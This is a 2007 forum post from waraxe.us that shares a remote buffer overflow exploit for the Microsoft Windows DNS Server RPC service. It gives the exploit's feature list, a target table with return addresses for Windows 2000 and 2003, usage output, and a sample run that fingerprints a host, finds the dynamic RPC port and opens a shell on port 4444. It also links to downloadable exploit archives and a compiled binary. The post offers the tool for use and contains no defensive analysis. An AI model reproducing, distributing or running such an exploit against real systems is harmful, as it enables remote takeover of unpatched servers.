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www.waraxe.us Forum Index -> M$ Windows -> MS Windows DNS RPC Remote Buffer Overflow Exploit (port 445)
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MS Windows DNS RPC Remote Buffer Overflow Exploit (port 445)
PostPosted: Mon Apr 23, 2007 2:03 pm Reply with quote
ToXiC
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Joined: Dec 01, 2004
Posts: 181
Location: Cyprus




Exploit v2 features:
- Target Remote port 445 (by default but requires auth)
- Manual target for dynamic tcp port (without auth)
- Automatic search for dynamic dns rpc port
- Local and remote OS fingerprinting (auto target)
- Windows 2000 server and Windows 2003 server (Spanish) supported by default
- Fixed bug with Windows 2003 Shellcode
- Universal local exploit for Win2k (automatic search for opcodes)
- Universal local and remote exploit for Win2k3 (/GS bypassed only with DEP disabled)
- Added targets for remote win2k English and italian (not tested, found with metasploit opcode database. please report your owns)
- Microsoft RPC api used ( who cares? :p )


D:\Programación\DNSTEST>dnstest
--------------------------------------------------------------
Microsoft Dns Server local & remote RPC Exploit code
Exploit code by Andres Tarasco & Mario Ballano
Tested against Windows 2000 server SP4 and Windows 2003 SP2
--------------------------------------------------------------

Usage: dnstest -h 127.0.0.1 (Universal local exploit)
dnstest -h host [-t id] [-p port]
Targets:
0 (0x30270b0b) - Win2k3 server SP2 Universal - (default for win2k3)
1 (0x79467ef8) - Win2k server SP4 Spanish - (default for win2k )
2 (0x7c4fedbb) - Win2k server SP4 English
3 (0x7963edbb) - Win2k server SP4 Italian
4 (0x41414141) - Windows all Denial of Service


D:\Programación\DNSTEST>dnstest.exe -h 192.168.1.2
--------------------------------------------------------------
Microsoft Dns Server local & remote RPC Exploit code
Exploit code by Andres Tarasco & Mario Ballano
Tested against Windows 2000 server SP4 and Windows 2003 SP2
--------------------------------------------------------------

[+] Trying to fingerprint target.. (05.02)
[+] Remote Host identified as Windows 2003
[-] No port selected. Trying Ninja sk1llz
[+] Binding to ncacn_ip_tcp: 192.168.1.2
[+] Found 50abc2a4-574d-40b3-9d66-ee4fd5fba076 version 5.0
[+] RPC binding string: ncacn_ip_tcp:192.168.1.2[1105]
[+] Dynamic DNS rpc port found (1105)
[+] Connecting to 50abc2a4-574d-40b3-9d66-ee4fd5fba076@ncacn_ip_tcp:192.168.1.2[1105]
[+] RpcBindingFromStringBinding success
[+] Sending Exploit code to DnssrvOperation()
[+] Now try to connect to port 4444


also available at

http://514.es/Microsoft_Dns_Server_Exploit_v2.1.zip
http://www.48bits.com/exploits/dnsxpl.v2.1.zip
http://www.milw0rm.com/sploits/04172007-dnsxpl.v2.1.zip

taken from milw0rm ..


Code:
Exploit wasnt fully working in milw0rm so .. i posted it here compiled in windows....


http://www.md5this.com/dns2.rar

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MS Windows DNS RPC Remote Buffer Overflow Exploit (port 445)
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